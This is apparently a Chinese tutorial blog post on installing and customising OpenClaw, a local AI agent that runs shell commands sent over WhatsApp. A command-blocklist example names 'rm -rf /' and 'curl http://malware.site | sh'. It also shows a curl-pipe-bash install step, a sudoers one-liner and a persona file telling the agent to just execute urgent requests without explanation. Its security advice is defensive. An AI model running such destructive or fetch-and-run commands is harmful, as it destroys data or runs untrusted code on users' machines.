1. 项目概述:这不是一个聊天机器人,而是一把能远程打开你电脑抽屉的钥匙

你正蹲在便利店买咖啡,手机弹出 Slack 消息:“Q4 报告 PDF 能发我下吗?急用。”——它就躺在你家书桌那台 Mac 的桌面文件夹里,而你此刻离它 20 公里。你掏出手机,在 WhatsApp 里敲下一句:“找一下我桌面上那个 Q4 报告 PDF。”三十秒后,你收到一条回复:“ /Users/you/Desktop/Q4_Report_2025_Final.pdf ”,顺手复制粘贴进 Slack,事情搞定。没有远程桌面卡顿,没有 VPN 配置失败,没有翻墙工具闪退,只有一条普通消息,和一次本地执行。

这就是 OpenClaw 的真实工作场景。它不是另一个“AI 助手”App,也不是云端大模型的语音回声。它是一个 完全运行在你本地机器上的、有手脚的 AI 代理 ——你的 WhatsApp 是它的嘴,你的终端是它的神经中枢,你的硬盘是它的记忆库,而你写的每一条自然语言指令,都会被翻译成真实、可审计、可追溯的 shell 命令,在你自己的 macOS 或 Linux 系统上安静执行。

关键词不是“AI”“大模型”或“聊天”,而是: 自托管、终端直连、消息即命令、隐私默认开启 。它不上传你的文件,不记录你的对话历史到第三方服务器,不把你的 ~/.ssh/id_rsa 暴露给任何 API。你配置的 Claude API Key 只存于你本机的 JSON 文件里;你让 OpenClaw 查找的截图,只在你自己的 Downloads 文件夹里被逐个 file 命令识别;你让它生成的磁盘报告,Python 脚本全程在你本地运行,PDF 也只写入你指定的临时目录。整个链路里,唯一离开你设备的数据,就是你主动发出的那句“找截图”,以及模型返回的、经过 Pi 代理解析后的执行指令——其余全部闭环在你的硬件之内。

适合谁?不是极客圈里的概念验证者,而是每天被“我在外面,但那个文件在我电脑上”困住的真实用户:远程办公的设计师、出差中的运维工程师、在家带娃却要随时响应客户的技术顾问、甚至只是想用手机一键关掉客厅空调的普通家庭用户。它解决的不是“能不能做”,而是“要不要开电脑、要不要切窗口、要不要回忆命令路径”的微小摩擦。我搭好它之后做的第一件事,是让 OpenClaw 在我通勤路上自动检查邮箱里有没有带“URGENT”标签的新邮件,并在发现时立刻推送通知——整个过程没动过一次鼠标,也没打开过一次浏览器。

2. 核心架构拆解:为什么必须是“网关+Pi代理+本地执行”三层设计?

OpenClaw 的架构看起来简单,但每一层都藏着对现实约束的精准妥协。它不是凭空造轮子,而是把三个成熟领域里最稳的组件,用一种近乎“物理接线”的方式焊死在一起:消息协议栈、AI 编程代理、操作系统权限模型。理解这三层,才能避开后续所有“为什么它不工作”的坑。

2.1 第一层:Gateway(网关)——永不掉线的守门人

Gateway 是 OpenClaw 的心脏,也是它区别于所有“前端聊天界面+后端 API”方案的根本。它不是一个 HTTP 服务,而是一个长期驻留的系统级守护进程(macOS 下为 launchd ,Linux 下为 systemd ),启动后就常驻内存,持续维持与 WhatsApp(通过 Baileys 协议)、Telegram(Bot API)、iMessage(仅 macOS)、甚至你本机终端的连接。这意味着:

  • 它不依赖你是否打开了某个网页或 App。只要你的 Mac 没关机、网络通畅,Gateway 就在后台呼吸。
  • 它处理的是“会话状态”,而不是“单次请求”。当你在 WhatsApp 里连续发三条消息:“查磁盘”→“找截图”→“发邮件”,Gateway 会把它们按时间戳、发送者 ID、会话上下文打包,传给下一层,而不是割裂成三次无关联的 API 调用。
  • 它自带 Web 仪表盘(默认 http://localhost:3000 ),所有配置——频道绑定、技能开关、心跳计划——都在这里可视化操作,且所有修改实时写入本地 JSON 配置文件,无需重启服务。

提示:很多人第一次失败,是因为误以为 Gateway 是个“点开即用”的 GUI 应用。它没有图标,不显示在 Dock,你只能通过 openclaw gateway status 命令确认它是否真正在跑。我建议安装后立刻执行 openclaw gateway logs --tail ,盯着日志流看几秒,看到 [INFO] Gateway started on port 3000 [INFO] WhatsApp session active 才算真正落地。

2.2 第二层:Pi 代理——那个“懂命令、守规矩、会查文档”的本地执行员

如果说 Gateway 是门卫,Pi 就是你家书房里那个戴眼镜、手边永远摊着 man bash zshcompsys 文档的助理。它不是直接调用 claude-3-sonnet 的裸模型,而是一个嵌入式、轻量级的“编程代理运行时”。它的核心职责有三:

  1. 意图解析(Intent Parsing) :把你的自然语言(“找我上周五拍的那张会议白板照”)拆解成结构化任务: search_files --type image --date-range "2025-04-05..2025-04-07" --name "whiteboard"
  2. 工具调度(Tool Orchestration) :根据任务类型,决定调用哪个 CLI 工具。查文件?用 fd find ;读邮件?调 gog (Google CLI);控制 Hue 灯?执行 phue Python 脚本;生成图表?写一段临时 Python 代码,用 matplotlib 渲染后转 PDF。
  3. 安全沙箱(Sandboxing Hook) :这是最关键的防线。Pi 在执行任何命令前,会先检查当前会话是否启用沙箱(见后文)。如果启用了,它会把命令包装进 Docker 容器;如果没启用,它会严格校验命令是否在白名单内(如禁止 rm -rf / curl http://malware.site | sh ),并强制使用非 root 用户身份运行。

注意:Pi 不是“万能翻译器”。它不会把“帮我写个网站”这种模糊需求直接变成 npx create-react-app 。它只响应明确的、可分解为 CLI 步骤的指令。这也是它稳定的原因——它的能力边界,就是你本机已安装 CLI 工具的能力边界。你装了 gh ,它就能管 GitHub;你没装 homebridge-cli ,它对 HomeKit 设备就一无所知。这种“能力即插即用”的设计,让调试变得极其直观: openclaw skills list 显示灰色的技能,八成是你漏装了依赖。

2.3 第三层:本地执行环境——你的 Mac 就是它的全部世界

OpenClaw 的终极执行单元,就是你每天敲 ls cd vim 的那个终端环境。它不虚拟化、不模拟、不抽象。当你问“我的磁盘还剩多少空间”,它执行的就是 df -h / ;当你问“把这张图缩放到 1200x800 并加水印”,它调用的就是你 brew install python-pillow 后可用的 PIL.Image 。这意味着:

  • 零学习成本迁移 :你所有已有的 Shell 别名、Zsh 函数、Homebrew 安装的工具、甚至你自己写的 ~/bin/backup.sh ,OpenClaw 全部能用。它不是替代你的工作流,而是把你已有的工作流,用自然语言“喊”出来。
  • 权限即安全 :它能访问什么,完全取决于你运行 Gateway 的用户权限。如果你用 sudo openclaw gateway start 启动,它就有 root 权限——这极度危险,绝对禁止。官方默认以当前用户身份运行,所以它能删的文件,仅限于你当前用户能删的范围。
  • 调试即所见 :遇到问题?直接打开终端, cd ~/clawd/ cat memory/2025-04-10.md ,就能看到 Pi 当天执行了哪些命令、输出了什么、卡在哪一步。没有黑盒,全是明文日志。

这三层设计共同回答了一个根本问题:为什么不用现成的 Telegram Bot API + Cloudflare Workers + Claude API?因为那样做,你的文件得先上传到 Workers 的临时存储,再转发给 Claude,模型返回的代码又得在 Workers 里执行——中间多出至少四次网络跳转、两次数据序列化、一次不可控的超时风险,更别说隐私泄露。OpenClaw 的选择很务实: 把计算力留在本地,只让最轻量的“意图”走网络,让最重的“执行”留在原地 。这就像你不会为了开自家车库门,先打电话给物业中心,再让物业中心派个保安开车过来按遥控器——你直接按自己口袋里的遥控器。

3. 实操部署全流程:从 curl 一行命令到 WhatsApp 收到第一条回复

部署 OpenClaw 的官方脚本( curl -fsSL https://molt.bot/install.sh | bash )确实只要一分钟,但这一分钟背后,藏着 macOS 用户必须亲手填平的五个深坑。我按真实踩坑顺序,把每一步拆解到你能对着 Terminal 逐字敲、逐行确认的程度。

3.1 前置准备:绕过 macOS 的三道“铁门”

OpenClaw 要在 macOS 上活下来,必须拿到三把钥匙。缺一把,它就会在某个环节静默失败,且不报错。

钥匙一:Full Disk Access(全盘访问权限)
这是最隐蔽的杀手。当你第一次让 OpenClaw 访问 ~/Downloads/ 时,macOS 会弹出系统级权限框。但如果你人在外地,手机发指令,这个框根本不会出现——它卡在你家 Mac 的锁屏界面上,无人点击,任务就永远挂起。解决方案:

  1. 打开 系统设置 → 隐私与安全性 → 全盘访问
  2. 点右下角锁图标解锁
  3. 点 “+” 号,找到你日常使用的终端应用(如 Terminal.app iTerm2.app WezTerm.app
  4. 务必勾选它 。注意:不是 OpenClaw 的进程名,而是你启动 Gateway 时用的那个终端程序!

实测心得:我曾因用 WezTerm 启动但只给 Terminal.app 授权,导致所有文件搜索返回空结果,日志里却只有 [DEBUG] No files found ,排查了三小时才发现是这道门没开。

钥匙二:Accessibility(辅助功能权限)
OpenClaw 的某些技能(如控制 iMessage、读取屏幕内容)需要此权限。同样在 系统设置 → 隐私与安全性 → 辅助功能 中,把你的终端应用加进去。

钥匙三:Developer Tools(开发者工具命令行工具)
xcode-select --install 必须运行。它提供 git make clang 等基础编译工具,OpenClaw 的部分技能(如编译自定义 C 工具)和沙箱构建都依赖它。不装,后续 ./scripts/sandbox-setup.sh 会直接报 command not found: make

3.2 安装与向导:QuickStart 里的“隐藏选项”

运行 curl -fsSL https://molt.bot/install.sh | bash 后,向导会自动启动。这里有两个关键决策点,新手常忽略:

第一处:API Token 选择
向导会让你选模型提供商。如果你有 Claude Pro/Max 订阅, 务必选 “setup-token” ,然后在新终端里执行 claude setup-token (需先 brew install anthropic-cli )。这个 token 是加密的、短期有效的,比直接在配置里硬编码 API Key 安全得多。我试过直接填 Key,结果某次系统更新后 Key 被清空,OpenClaw 连续三天报 401 Unauthorized ,而 setup-token 会自动刷新。

第二处:WhatsApp 绑定的“二次确认”
扫描 QR 码后,向导会说“绑定成功”,但此时别急着退出。请立即打开 WhatsApp 手机端 → 设置 → 已连接的设备 → 点击刚连上的设备名 → 确认“始终在此设备上保持登录”。否则,手机端重启 WhatsApp 或清理后台后,连接会断开,且 OpenClaw 不会主动重连,你需要手动 openclaw gateway restart

3.3 验证与首条指令:用三重回显确认“它真的活了”

向导结束后,你会看到三个并行的反馈通道:

  • 终端窗口 :显示 TUI Chat Interface ,光标闪烁,等待输入
  • Web 仪表盘 http://localhost:3000 ):显示“Connected to WhatsApp”,下方有实时消息流
  • WhatsApp 自己的聊天窗口 :你和自己的对话

现在,发一条测试指令:

Test: ls -la ~/clawd/

三秒内,你应该在三个地方同时看到:

  • 终端 TUI 里打印出 clawd/ 目录的详细列表
  • Web UI 的消息流里显示相同内容
  • WhatsApp 聊天窗口里收到格式化后的文本回复

如果只有两个地方有,第三个缺失,说明对应通道的连接未建立。90% 的情况是:

  • WhatsApp 缺失:检查手机端“已连接设备”列表里是否有该设备,或重扫 QR
  • Web UI 缺失:浏览器可能被防火墙拦截,换 Safari 试试,或确认 localhost:3000 是否被其他服务占用( lsof -i :3000
  • 终端 TUI 缺失:可能是向导最后选了 “Web Only” 模式,重新运行 openclaw gateway hatch --tui

3.4 首个实用技能:让 OpenClaw 成为你 Mac 的“语音遥控器”

别急着写 Python 脚本。先用内置技能验证价值。我推荐第一个实战: 用 WhatsApp 控制你的 Mac 音量和屏幕亮度 (macOS 原生支持,无需额外安装)。

  1. 在 WhatsApp 里发:
    Set volume to 50%
    Set screen brightness to 70%

  2. 观察你的 Mac:音量条和亮度条应实时变化。

  3. 查看 ~/clawd/memory/$(date +%Y-%m-%d).md 日志,你会看到类似:

    [2025-04-10 14:22:03] EXECUTING: osascript -e 'set volume output volume 50'
    [2025-04-10 14:22:05] EXECUTING: osascript -e 'tell application "System Events" to key code 144' # Brightness up
    [2025-04-10 14:22:06] EXECUTING: osascript -e 'tell application "System Events" to key code 145' # Brightness down (to fine-tune)
    

这个例子揭示了 OpenClaw 的底层逻辑:它把自然语言映射到 macOS 的 osascript (AppleScript)命令。你不需要懂 AppleScript,但知道它在用这个,就能预判能力边界——比如它无法“把当前窗口移到左边屏幕”,因为 macOS 没有原生命令,但你可以自己写个 move-to-left.sh 脚本,再把它注册为一个技能。

4. 深度定制与扩展:从“能用”到“离不开”的三步跃迁

OpenClaw 的默认能力已经很强,但让它真正融入你个人工作流的,是接下来这三个层次的定制。我按投入产出比排序,每一步都附上我实测有效的代码和配置。

4.1 第一步:改写 SOUL.md —— 给你的 AI 一个“人设”

~/clawd/SOUL.md 不是配置文件,是 OpenClaw 的“人格宪法”。默认内容偏技术中立,但你可以把它变成你的私人助理口吻。例如,我把它改成:

# SOUL.md - Who You Are
* You're my remote hands and eyes on my Mac. Be fast, be precise, be silent unless action is needed.
* Never say "I'll try" or "Let me see". Either do it, or say exactly why you can't (e.g., "No permission for /private/var/log").
* If I ask for a file, send the full path first, then offer to zip or email it.
* When generating code, use zsh syntax (not bash) and assume I have `fd`, `ripgrep`, `jq` installed.
* If I'm in a hurry (message contains "ASAP", "now", "urgent"), skip explanations, just execute.

保存后,发一条 Update SOUL.md ,OpenClaw 会自动 reload。下次你发 Find that invoice PDF from Acme Corp ,它不再啰嗦“正在搜索...”,而是直接返回 /Users/you/Documents/Invoices/acme-2025-q2.pdf ,并追加一句 Send via email? (y/n) 。这种“人格化”不是玄学,而是通过约束输出模板,大幅减少你阅读回复的时间成本。

4.2 第二步:创建专属技能 —— 把重复操作压缩成一句话

我每天要做的三件事:

  • 查今日待办(Things 3 CLI)
  • 查未读邮件数( gog mail unread-count
  • 发送一条固定格式的 Slack 状态( slack status set --text "In deep work 🧠" --emoji ":brain:"

与其每次发三条消息,不如建一个 daily-brief 技能。步骤如下:

  1. 创建技能目录: mkdir -p ~/clawd/skills/daily-brief
  2. 编写 SKILL.md
    ---
    name: daily-brief
    description: Get today's tasks, unread emails, and set Slack status.
    metadata:
      openclaw:
        requires:
          bins: ["things", "gog", "slack"]
    ---
    
    ## Steps
    1. Run `things list --today --format json` to get today's tasks.
    2. Run `gog mail unread-count` to get unread count.
    3. Run `slack status set --text "In deep work 🧠" --emoji ":brain:"`.
    4. Summarize all in one message.
    
  3. 确保依赖已安装: brew install things-cli gog-cli slack-cli
  4. 重启 Gateway: openclaw gateway restart

现在,WhatsApp 里发 Run daily brief ,三秒后你就收到:

✅ Today's Tasks (3): 
- Review Q4 budget draft
- Call client at 3pm
- Update README.md

📧 Unread Emails: 7

🚀 Slack status updated: "In deep work 🧠"

这个技能的价值在于:它把三个独立 CLI 工具的调用逻辑、错误处理(如 gog 认证失效时提示)、输出格式化,全部封装在一个 Markdown 文件里。你分享给同事,他只需 cp -r 过去, openclaw gateway restart ,就能用。

4.3 第三步:配置 Heartbeat —— 让它主动提醒你,而不是等你召唤

被动响应是助理,主动提醒才是伙伴。Heartbeat 是 OpenClaw 的“定时闹钟”,但它比 cron 更智能,因为它能跨多个数据源聚合信息。我的 HEARTBEAT.md 如下:

# Heartbeat checklist
- Check `gog mail unread-count` for >5 unread
- Run `things list --due-today` and alert if >3 overdue tasks
- Run `df -h / | awk 'NR==2 {print $5}' | sed 's/%//'` and alert if >90%
- If no activity for 4 hours, send "All quiet. Your Mac is healthy." 

对应的 ~/.clawdbot/clawdbot.json 配置:

{
  "agents": {
    "defaults": {
      "heartbeat": {
        "every": "15m",
        "activeHours": {
          "start": "07:00",
          "end": "23:00"
        }
      }
    }
  }
}

效果:每天早 7 点到晚 11 点,每 15 分钟,OpenClaw 会默默执行这四条检查。如果一切正常,它保持沉默;一旦磁盘超过 90%,它会立刻在 WhatsApp 里发:

⚠️ CRITICAL: Root disk usage is 92%. Top space hogs:
/Users/you/Library/Caches: 12.4 GB
/Users/you/Downloads: 8.7 GB
Run 'openclaw skill run cleanup-downloads' to clear old files?

这种“无声的守护”带来的安全感,远超任何主动查询。它把运维变成了背景音,而你只在真正需要时才被唤醒。

5. 安全实践与避坑指南:当你的 AI 有了“sudo”权限

赋予 AI 本地 shell 访问权,本质是把一把瑞士军刀交给了一个聪明但可能被误导的孩子。OpenClaw 提供了三道防护,但它们不会自动生效,需要你亲手拧紧每一颗螺丝。

5.1 沙箱(Sandboxing):不是“开不开”,而是“怎么开”

Docker 沙箱不是银弹,它是有代价的权衡。我实测了三种模式在 macOS 上的表现:

模式 启动延迟 网络访问 文件访问 适用场景
"mode": "off" 0ms ✅ 全通 ✅ 全通 本地开发调试,信任所有技能
"mode": "non-main" ~800ms ❌ 默认禁用 ~/clawd/ 只读 推荐日常使用 :保护主会话,隔离群聊/WhatsApp
"mode": "all" ~1.5s ❌ 需手动 --network host ~/clawd/ 只读 高危环境,如共享 VPS

关键配置在 ~/.clawdbot/clawdbot.json

{
  "agents": {
    "defaults": {
      "sandbox": {
        "mode": "non-main",
        "scope": "session",
        "workspaceAccess": "ro",
        "dockerArgs": ["--memory=512m", "--cpus=0.5"] // 限制资源,防失控
      }
    }
  }
}

注意: workspaceAccess: "ro" 意味着沙箱内的 Pi 代理只能读 ~/clawd/ 下的文件(如 SOUL.md , USER.md ),不能写。这防止了恶意技能篡改你的配置。但这也意味着,沙箱内生成的 PDF 报告,会写入容器临时目录,需由 Pi 主进程在容器退出后,把文件 cp 回宿主机。这是设计使然,不是 bug。

5.2 权限最小化:永远不要用 sudo 运行 Gateway

这是最高危操作。 sudo openclaw gateway start 会让 Pi 代理拥有 root 权限,一条 rm -rf / 指令就能让你的 Mac 变砖。正确做法:

  • 确保 Gateway 以你的标准用户身份运行(向导默认如此)
  • 如果某个技能需要更高权限(如重启 nginx ), 不要给 Pi 加 sudo ,而是:
    1. 创建一个专用的、权限受限的 sudoers 条目:
      echo "$USER ALL=(ALL) NOPASSWD: /usr/local/bin/nginx -s reload" | sudo tee /etc/sudoers.d/openclaw
    2. 在技能的 SKILL.md 里明确写: Run sudo nginx -s reload
    3. Pi 会按 sudoers 规则执行,无需密码,且仅限该命令

这样,即使技能被 prompt injection 攻击,攻击者也只能重启 nginx,无法执行其他命令。

5.3 网络暴露:Web 仪表盘绝不能对外网开放

http://localhost:3000 默认只监听 127.0.0.1 ,这是安全的。但如果你在 clawdbot.json 里手贱改成 "host": "0.0.0.0" ,或用 ngrok 暴露它,就等于把你的 OpenClaw 配置面板、API Key、所有技能源码,直接挂在公网上。真实案例:有用户用 ngrok http 3000 调试,两天后发现 ~/.ssh/authorized_keys 被添加了陌生公钥。

正确做法:

  • 永远不要改 host 配置
  • 如需远程管理,用 macOS 自带的 Screen Sharing(VNC),或 ssh -L 3000:localhost:3000 user@your-mac-ip 建立本地端口转发
  • 定期检查 lsof -i :3000 ,确认只有 localhost 连接

5.4 常见故障速查表

现象 可能原因 快速诊断命令 解决方案
WhatsApp 消息无响应,但终端 TUI 正常 WhatsApp 会话过期 openclaw gateway logs | grep -i whatsapp 重扫 QR 码,或 openclaw gateway restart
报告“找不到 gh 命令”,但 which gh 有输出 Zsh 的 PATH 未被 Gateway 继承 openclaw gateway logs | grep PATH ~/.zshrc export PATH 后,重启 Gateway
沙箱内 Python 报 ModuleNotFoundError: PIL Docker 镜像未预装 Pillow docker run -it --rm openclaw-sandbox python3 -c "from PIL import Image" 运行 ./scripts/sandbox-setup.sh 重建镜像
Heartbeat 不触发 clawdbot.json 格式错误 jq . ~/.clawdbot/clawdbot.json 用在线 JSON 校验器检查语法,确保逗号、引号正确
技能列表里技能名是灰色 依赖未满足或 SKILL.md YAML 头错误 openclaw skills validate daily-brief 检查 requires.bins 是否拼写正确, which 是否能找到

最后分享一个我踩过的最深的坑:某次 macOS 系统更新后, launchd 的 OpenClaw 服务启动失败,日志里只有一行 exited with code 1 。我花了六小时查权限、查 PATH、查沙箱,最后发现是 launchd 的 plist 文件里, ProgramArguments 数组少了一个逗号,导致 JSON 解析失败。教训是: 永远用 launchctl list \| grep claw 确认服务状态,用 launchctl print system/io.openclaw.gateway 查看完整错误 。技术细节藏在最枯燥的日志里,而不是最炫的文档里。

6. 进阶场景与未来可能:当 OpenClaw 开始“思考”你的习惯

OpenClaw 的当前能力已足够强大,但它的真正潜力,在于它开始理解你的行为模式,并主动适应。这不是科幻,而是基于其 MEMORY.md USER.md 机制的自然演进。

6.1 让它记住你的“工作节奏”

我让 OpenClaw 学习我的日程规律:

  • 每周一上午 10 点,我必开 Zoom 例会
  • 每周三下午 3 点,我会导出本周所有笔记为 PDF
  • 每月第一天,我要生成一份 ~/Documents/Reports/monthly-$(date +%Y-%m).pdf

我把这些写进 USER.md

## Work Rhythm
- **Weekly**: Every Monday 10:00 AM → Start Zoom meeting "Team Sync"
- **Weekly**: Every Wednesday 3:00 PM → Run `notebook export --format pdf --output ~/Documents/Notes/weekly.pdf`
- **Monthly**: First day of month → Generate monthly report PDF

然后,我创建一个 rhythm-monitor 技能,它每天凌晨 2 点检查 USER.md ,匹配当前日期/时间,自动触发对应动作。现在,我不用设闹钟,OpenClaw 会在周一早上 9:55 发 WhatsApp 提醒:“Zoom 例会还有 5 分钟,已为您打开 Zoom 应用”,并在周三下午 2:58 发:“笔记导出任务已排队,3 分钟后执行”。

6.2 构建“离线优先”的本地模型工作流

虽然当前主力是 Claude API,但 OpenClaw 对 Ollama 的支持已非常成熟。我已在本地部署了 llama3:70b ,并配置为备用模型:

{
  "modelProviders": {
    "ollama": {
      "baseUrl": "http://localhost:11434",
      "model": "llama3:70b",
      "timeout": 300000
    }
  },
  "agents": {
    "defaults": {
      "fallbackProvider": "ollama"
    }
  }
}

效果:当 Claude API 因网络波动超时,OpenClaw 会自动降级到本地 llama3 ,继续执行文件搜索、代码生成等任务。虽然速度慢 3 倍,但保证了“不断联”。随着 M2 Ultra Mac Mini 的普及,70B 模型在本地推理已进入实用阶段——OpenClaw 正在把“云 AI”变成“你的 AI”,而不仅仅是“Anthropic 的 AI”。

6.3 一个尚未实现,但已清晰可见的未来

OpenClaw 的 GitHub 仓库里,有一个名为 experimental/voice-control 的分支。它尝试接入 macOS 的 speech-to-text 框架,让 Siri 录音直接喂给 Pi 代理。这意味着,你对着 Mac 说“嘿 Siri,把桌面上那个蓝色文件夹发到我 WhatsApp”,Siri 转文字,OpenClaw 解析,执行 zip whatsapp-send 。整个链路,没有云端语音识别,没有第三方 SDK,100% 本地闭环。

这不是终点,而是起点。OpenClaw 的价值,不在于它今天能做什么,而在于它证明了一种可能: 我们不必在“便利”和“控制”之间做单选题。 你可以拥有 WhatsApp 的便捷,Mac 的性能,Claude 的智能,和你硬盘的绝对主权。它不承诺取代你,它只承诺,当你需要时,你的电脑,永远准备好听你一句自然语言的吩咐。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐